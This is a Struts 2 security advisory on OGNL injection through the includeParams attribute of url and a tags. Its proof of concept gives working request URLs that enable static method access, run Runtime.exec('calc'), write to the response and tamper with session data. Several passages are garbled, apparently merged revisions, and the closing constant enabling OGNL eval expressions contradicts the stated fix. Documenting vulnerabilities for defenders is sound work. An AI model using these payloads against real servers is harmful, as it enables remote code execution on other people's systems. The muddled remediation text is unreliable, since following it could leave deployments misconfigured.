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Summary

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Problem

Both the s:url and s:a tag provide an includeParams attribute.

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The second evaluation happens when the URL/A tag tries to resolve every parameters present in the original request.
This lets malicious users put arbitrary OGNL statements into any request parameter (not necessarily managed by the code) and have it evaluated as an OGNL expression to enable method execution and execute arbitrary methods, bypassing Struts and OGNL library protections.

The issue was originally addressed by Struts 2.3.14.1 and Security Announcement S2-013. However, the solution introduced with 2.3.14.1 did not address all possible attack vectors, such that every version of Struts 2 before 2.3.14.2 is still vulnerable to such attacks.

Proof of concept

1. Open HelloWorld.jsp present in the Struts Blank App and add to one of the url/a tag the following parameter:

   Code Block
   includeParams="all"

   Such that the line will be something look like this:

   Code Block
   xml xml
   <s:url id="url" action="HelloWorld" includeParams="all">

   (it works also with includeParams="get").

   
   

2. Run struts2-blank app

3. Open the following url, resulting in calc application opening on Windows (try ....exec('open%20.')} to open a Finder window on Mac OS):

   Code Block
   http://localhost:8080/struts2-blank/example/HelloWorld.action?

   fakeParam

   aaa=

   %25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
   (this is the shortened version http://goo.gl/lhlTl^{Image Removed})

   1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

   
   

4. Open the following url to modify session content:

   Code Block
   http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}

   
   

5. Open the following url to print out session content and in combination with the previous example introduce arbitrary code into the resulting HTML output:

   Code Block
   http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]}

   
   

As you will notice, in this case, there is no way to escape/sanitize the fakeParammalicious parameter, since it's not an expected parameter and even will not get evaluated the request parameters are processed.

Solution

The OGNLUtil class URL rendering subsystem was changed to deny eval expressions by defaultto not pass any parameter name or value to OGNL evaluation.

The MemberAccess component's allowStaticMethodAccess property is now immutable.

A small amount of very elaborated URL or A tag usages depending on the now disabled evaluation might produce unexpected results now.
Please, ensure that:

1. all expressions that should get evaluated are explicitly introduced via PARAM tags within URL or A tags.
2. all expressions used in PARAM tags
3. there are no includeParams with "all" or "get" value
4. every parameter which is declared inside the u or a tag come from a sanitized input.

<constant name="struts.ognl.enableOGNLEvalExpression" value="true" />

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